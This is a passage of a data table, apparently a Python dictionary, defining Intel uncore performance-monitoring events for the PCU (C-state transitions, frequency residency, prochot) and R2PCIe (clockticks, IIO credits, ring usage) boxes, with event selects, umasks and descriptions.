"Desc": "Core C State Transition Cycles",
"EvSel": 102,
"ExtSel": "",
},
"PCU.CORE7_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 103,
"ExtSel": "",
},
"PCU.CORE8_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 104,
"ExtSel": "",
"Notes": "This only tracks the hardware portion in the RCFSM (CFCFSM). This portion is just doing the core C state transition. It does not include any necessary frequency/voltage transitions.",
},
"PCU.CORE9_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 105,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE0": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 48,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE1": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 49,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE10": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 58,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE11": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 59,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE12": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 60,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE13": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 61,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE14": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 62,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE15": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 63,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE16": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 64,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE17": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 65,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE2": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 50,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE3": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 51,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE4": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 52,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE5": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 53,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE6": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 54,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE7": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 55,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE8": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 56,
"ExtSel": "",
},
"PCU.DEMOTIONS_CORE9": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a configurable cores had a C-state demotion",
"Desc": "Core C State Demotions",
"EvSel": 57,
"ExtSel": "",
},
"PCU.FREQ_BAND0_CYCLES": {
"Box": "PCU",
"Category": "PCU FREQ_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the uncore was running at a frequency greater than or equal to the frequency that is configured in the filter. One can use all four counters with this event, so it is possible to track up to 4 configurable bands. One can use edge detect in conjunction with this event to track the number of times that we transitioned into a frequency greater than or equal to the configurable frequency. One can also use inversion to track cycles when we were less than the configured frequency.",
"Desc": "Frequency Residency",
"EvSel": 11,
"Filter": "PCUFilter[7:0]",
"ExtSel": "",
"Notes": "The PMON control registers in the PCU only update on a frequency transition. Changing the measuring threshold during a sample interval may introduce errors in the counts. This is especially true when running at a constant frequency for an extended period of time. There is a corner case here: we set this code on the GV transition. So, if we never GV we will never call this code. This event does not include transition times. It is handled on fast path.",
},
"PCU.FREQ_BAND1_CYCLES": {
"Box": "PCU",
"Category": "PCU FREQ_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the uncore was running at a frequency greater than or equal to the frequency that is configured in the filter. One can use all four counters with this event, so it is possible to track up to 4 configurable bands. One can use edge detect in conjunction with this event to track the number of times that we transitioned into a frequency greater than or equal to the configurable frequency. One can also use inversion to track cycles when we were less than the configured frequency.",
"Desc": "Frequency Residency",
"EvSel": 12,
"Filter": "PCUFilter[15:8]",
"ExtSel": "",
"Notes": "The PMON control registers in the PCU only update on a frequency transition. Changing the measuring threshold during a sample interval may introduce errors in the counts. This is especially true when running at a constant frequency for an extended period of time. There is a corner case here: we set this code on the GV transition. So, if we never GV we will never call this code. This event does not include transition times. It is handled on fast path.",
},
"PCU.FREQ_BAND2_CYCLES": {
"Box": "PCU",
"Category": "PCU FREQ_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the uncore was running at a frequency greater than or equal to the frequency that is configured in the filter. One can use all four counters with this event, so it is possible to track up to 4 configurable bands. One can use edge detect in conjunction with this event to track the number of times that we transitioned into a frequency greater than or equal to the configurable frequency. One can also use inversion to track cycles when we were less than the configured frequency.",
"Desc": "Frequency Residency",
"EvSel": 13,
"Filter": "PCUFilter[23:16]",
"ExtSel": "",
"Notes": "The PMON control registers in the PCU only update on a frequency transition. Changing the measuring threshold during a sample interval may introduce errors in the counts. This is especially true when running at a constant frequency for an extended period of time. There is a corner case here: we set this code on the GV transition. So, if we never GV we will never call this code. This event does not include transition times. It is handled on fast path.",
},
"PCU.FREQ_BAND3_CYCLES": {
"Box": "PCU",
"Category": "PCU FREQ_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the uncore was running at a frequency greater than or equal to the frequency that is configured in the filter. One can use all four counters with this event, so it is possible to track up to 4 configurable bands. One can use edge detect in conjunction with this event to track the number of times that we transitioned into a frequency greater than or equal to the configurable frequency. One can also use inversion to track cycles when we were less than the configured frequency.",
"Desc": "Frequency Residency",
"EvSel": 14,
"Filter": "PCUFilter[31:24]",
"ExtSel": "",
"Notes": "The PMON control registers in the PCU only update on a frequency transition. Changing the measuring threshold during a sample interval may introduce errors in the counts. This is especially true when running at a constant frequency for an extended period of time. There is a corner case here: we set this code on the GV transition. So, if we never GV we will never call this code. This event does not include transition times. It is handled on fast path.",
},
"PCU.FREQ_MAX_LIMIT_THERMAL_CYCLES": {
"Box": "PCU",
"Category": "PCU FREQ_MAX_LIMIT Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when thermal conditions are the upper limit on frequency. This is related to the THERMAL_THROTTLE CYCLES_ABOVE_TEMP event, which always counts cycles when we are above the thermal temperature. This event (STRONGEST_UPPER_LIMIT) is sampled at the output of the algorithm that determines the actual frequency, while THERMAL_THROTTLE looks at the input.",
"Desc": "Thermal Strongest Upper Limit Cycles",
"EvSel": 4,
"ExtSel": "",
},
"PCU.FREQ_MAX_OS_CYCLES": {
"Box": "PCU",
"Category": "PCU FREQ_MAX_LIMIT Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the OS is the upper limit on frequency.",
"Desc": "OS Strongest Upper Limit Cycles",
"EvSel": 6,
"ExtSel": "",
"Notes": "Essentially, this event says the OS is getting the frequency it requested.",
},
"PCU.FREQ_MAX_POWER_CYCLES": {
"Box": "PCU",
"Category": "PCU FREQ_MAX_LIMIT Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when power is the upper limit on frequency.",
"Desc": "Power Strongest Upper Limit Cycles",
"EvSel": 5,
"ExtSel": "",
},
"PCU.FREQ_MIN_IO_P_CYCLES": {
"Box": "PCU",
"Category": "PCU FREQ_MIN_LIMIT Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when IO P Limit is preventing us from dropping the frequency lower. This algorithm monitors the needs to the IO subsystem on both local and remote sockets and will maintain a frequency high enough to maintain good IO BW. This is necessary for when all the IA cores on a socket are idle but a user still would like to maintain high IO Bandwidth.",
"Desc": "IO P Limit Strongest Lower Limit Cycles",
"EvSel": 115,
"ExtSel": "",
},
"PCU.FREQ_TRANS_CYCLES": {
"Box": "PCU",
"Category": "PCU FREQ_TRANS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the system is changing frequency. This can not be filtered by thread ID. One can also use it with the occupancy counter that monitors number of threads in C0 to estimate the performance impact that frequency transitions had on the system.",
"Desc": "Cycles spent changing Frequency",
"EvSel": 116,
"ExtSel": "",
},
"PCU.MEMORY_PHASE_SHEDDING_CYCLES": {
"Box": "PCU",
"Category": "PCU MEMORY_PHASE_SHEDDING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the PCU has triggered memory phase shedding. This is a mode that can be run in the iMC physicals that saves power at the expense of additional latency.",
"Desc": "Memory Phase Shedding Cycles",
"EvSel": 47,
"ExtSel": "",
"Notes": "Package C1",
},
"PCU.PKG_RESIDENCY_C0_CYCLES": {
"Box": "PCU",
"Category": "PCU PKG_C_STATE_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the package was in C0. This event can be used in conjunction with edge detect to count C0 entrances (or exits using invert). Residency events do not include transition times.",
"Desc": "Package C State Residency - C0",
"EvSel": 42,
"ExtSel": "",
},
"PCU.PKG_RESIDENCY_C1E_CYCLES": {
"Box": "PCU",
"Category": "PCU PKG_C_STATE_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the package was in C1E. This event can be used in conjunction with edge detect to count C1E entrances (or exits using invert). Residency events do not include transition times.",
"Desc": "Package C State Residency - C1E",
"EvSel": 78,
"ExtSel": "",
},
"PCU.PKG_RESIDENCY_C2E_CYCLES": {
"Box": "PCU",
"Category": "PCU PKG_C_STATE_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the package was in C2E. This event can be used in conjunction with edge detect to count C2E entrances (or exits using invert). Residency events do not include transition times.",
"Desc": "Package C State Residency - C2E",
"EvSel": 43,
"ExtSel": "",
},
"PCU.PKG_RESIDENCY_C3_CYCLES": {
"Box": "PCU",
"Category": "PCU PKG_C_STATE_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the package was in C3. This event can be used in conjunction with edge detect to count C3 entrances (or exits using invert). Residency events do not include transition times.",
"Desc": "Package C State Residency - C3",
"EvSel": 44,
"ExtSel": "",
},
"PCU.PKG_RESIDENCY_C6_CYCLES": {
"Box": "PCU",
"Category": "PCU PKG_C_STATE_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the package was in C6. This event can be used in conjunction with edge detect to count C6 entrances (or exits using invert). Residency events do not include transition times.",
"Desc": "Package C State Residency - C6",
"EvSel": 45,
"ExtSel": "",
},
"PCU.PKG_RESIDENCY_C7_CYCLES": {
"Box": "PCU",
"Category": "PCU PKG_C_STATE_RESIDENCY Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the package was in C7. This event can be used in conjunction with edge detect to count C7 entrances (or exits using invert). Residency events do not include transition times.",
"Desc": "Package C7 State Residency",
"EvSel": 46,
"ExtSel": "",
},
"PCU.POWER_STATE_OCCUPANCY": {
"Box": "PCU",
"Category": "PCU POWER_STATE_OCC Events",
"Counters": "0-3",
"Defn": "This is an occupancy event that tracks the number of cores that are in the chosen C-State. It can be used by itself to get the average number of cores in that C-state with threshholding to generate histograms, or with other PCU events and occupancy triggering to capture other details.",
"Desc": "Number of cores in C-State",
"EvSel": 128,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
},
"PCU.POWER_STATE_OCCUPANCY.CORES_C6": {
"Box": "PCU",
"Category": "PCU POWER_STATE_OCC Events",
"Counters": "0-3",
"Defn": "This is an occupancy event that tracks the number of cores that are in the chosen C-State. It can be used by itself to get the average number of cores in that C-state with threshholding to generate histograms, or with other PCU events and occupancy triggering to capture other details.",
"Desc": "Number of cores in C-State",
"EvSel": 128,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
"Umask": "b11000000",
},
"PCU.POWER_STATE_OCCUPANCY.CORES_C3": {
"Box": "PCU",
"Category": "PCU POWER_STATE_OCC Events",
"Counters": "0-3",
"Defn": "This is an occupancy event that tracks the number of cores that are in the chosen C-State. It can be used by itself to get the average number of cores in that C-state with threshholding to generate histograms, or with other PCU events and occupancy triggering to capture other details.",
"Desc": "Number of cores in C-State",
"EvSel": 128,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
"Umask": "b10000000",
},
"PCU.POWER_STATE_OCCUPANCY.CORES_C0": {
"Box": "PCU",
"Category": "PCU POWER_STATE_OCC Events",
"Counters": "0-3",
"Defn": "This is an occupancy event that tracks the number of cores that are in the chosen C-State. It can be used by itself to get the average number of cores in that C-state with threshholding to generate histograms, or with other PCU events and occupancy triggering to capture other details.",
"Desc": "Number of cores in C-State",
"EvSel": 128,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
"Umask": "b01000000",
},
"PCU.PROCHOT_EXTERNAL_CYCLES": {
"Box": "PCU",
"Category": "PCU PROCHOT Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that we are in external PROCHOT mode. This mode is triggered when a sensor off the die determines that something off-die (like DRAM) is too hot and must throttle to avoid damaging the chip.",
"Desc": "External Prochot",
"EvSel": 10,
"ExtSel": "",
},
"PCU.PROCHOT_INTERNAL_CYCLES": {
"Box": "PCU",
"Category": "PCU PROCHOT Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that we are in Interal PROCHOT mode. This mode is triggered when a sensor on the die determines that we are too hot and must throttle to avoid damaging the chip.",
"Desc": "Internal Prochot",
"EvSel": 9,
"ExtSel": "",
},
"PCU.TOTAL_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions across all cores.",
"Desc": "Total Core C State Transition Cycles",
"EvSel": 114,
"ExtSel": "",
},
"PCU.VR_HOT_CYCLES": {
"Box": "PCU",
"Category": "PCU VR_HOT Events",
"Counters": "0-3",
"Desc": "VR Hot",
"EvSel": 66,
"ExtSel": "",
},
# R2PCIe:
"R2PCIe.CLOCKTICKS": {
"Box": "R2PCIe",
"Category": "R2PCIe UCLK Events",
"Counters": "0-3",
"Defn": "Counts the number of uclks in the R2PCIe uclk domain. This could be slightly different than the count in the Ubox because of enable/freeze delays. However, because the R2PCIe is close to the Ubox, they generally should not diverge by more than a handful of cycles.",
"Desc": "Number of uclks in domain",
"EvSel": 1,
"ExtSel": "",
},
"R2PCIe.IIO_CREDIT": {
"Box": "R2PCIe",
"Category": "R2PCIe IIO Credit Events",
"Counters": "0-1",
"EvSel": 45,
"ExtSel": "",
"MaxIncCyc": 4,
},
"R2PCIe.IIO_CREDIT.PRQ_QPI1": {
"Box": "R2PCIe",
"Category": "R2PCIe IIO Credit Events",
"Counters": "0-1",
"EvSel": 45,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxxxx1x",
},
"R2PCIe.IIO_CREDIT.ISOCH_QPI0": {
"Box": "R2PCIe",
"Category": "R2PCIe IIO Credit Events",
"Counters": "0-1",
"EvSel": 45,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxxx1xx",
},
"R2PCIe.IIO_CREDIT.ISOCH_QPI1": {
"Box": "R2PCIe",
"Category": "R2PCIe IIO Credit Events",
"Counters": "0-1",
"EvSel": 45,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxx1xxx",
},
"R2PCIe.IIO_CREDIT.PRQ_QPI0": {
"Box": "R2PCIe",
"Category": "R2PCIe IIO Credit Events",
"Counters": "0-1",
"EvSel": 45,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "bxxxxxxx1",
},
"R2PCIe.RING_AD_USED": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
},
"R2PCIe.RING_AD_USED.CCW": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00001100",
},
"R2PCIe.RING_AD_USED.CCW_ODD": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxx1xxx",
},
"R2PCIe.RING_AD_USED.CCW_EVEN": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxx1xx",
},
"R2PCIe.RING_AD_USED.CW_ODD": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxx1x",
},
"R2PCIe.RING_AD_USED.CW_EVEN": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxxx1",
},
"R2PCIe.RING_AD_USED.CW": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AD ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AD Ring in Use",
"EvSel": 7,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00000011",
},
"R2PCIe.RING_AK_BOUNCES": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a request destined for the AK ingress bounced.",
"Desc": "AK Ingress Bounced",
"EvSel": 18,
"ExtSel": "",
},
"R2PCIe.RING_AK_BOUNCES.DN": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a request destined for the AK ingress bounced.",
"Desc": "AK Ingress Bounced",
"EvSel": 18,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R2PCIe.RING_AK_BOUNCES.UP": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of times when a request destined for the AK ingress bounced.",
"Desc": "AK Ingress Bounced",
"EvSel": 18,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R2PCIe.RING_AK_USED": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
},
"R2PCIe.RING_AK_USED.CCW_ODD": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxx1xxx",
},
"R2PCIe.RING_AK_USED.CCW": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00001100",
},
"R2PCIe.RING_AK_USED.CW_EVEN": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxxx1",
},
"R2PCIe.RING_AK_USED.CW": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00000011",
},
"R2PCIe.RING_AK_USED.CW_ODD": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxx1x",
},
"R2PCIe.RING_AK_USED.CCW_EVEN": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the AK ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 AK Ring in Use",
"EvSel": 8,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxx1xx",
},
"R2PCIe.RING_BL_USED": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
},
"R2PCIe.RING_BL_USED.CCW_EVEN": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxx1xx",
},
"R2PCIe.RING_BL_USED.CW_EVEN": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxxx1",
},
"R2PCIe.RING_BL_USED.CW": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00000011",
},
"R2PCIe.RING_BL_USED.CW_ODD": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxxxx1x",
},
"R2PCIe.RING_BL_USED.CCW_ODD": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "bxxxx1xxx",
},
"R2PCIe.RING_BL_USED.CCW": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the BL ring is being used at this ring stop. This includes when packets are passing by and when packets are being sunk, but does not include when packets are being sent from the ring stop.",
"Desc": "R2 BL Ring in Use",
"EvSel": 9,
"ExtSel": "",
"Notes": "In any cycle, a ring stop can see up to one packet moving in the CW direction and one packet moving in the CCW direction.",
"Umask": "b00001100",
},
"R2PCIe.RING_IV_USED": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the IV ring is being used at this ring stop. This includes when packets are passing by and when packets are being sent, but does not include when packets are being sunk into the ring stop.",
"Desc": "R2 IV Ring in Use",
"EvSel": 10,
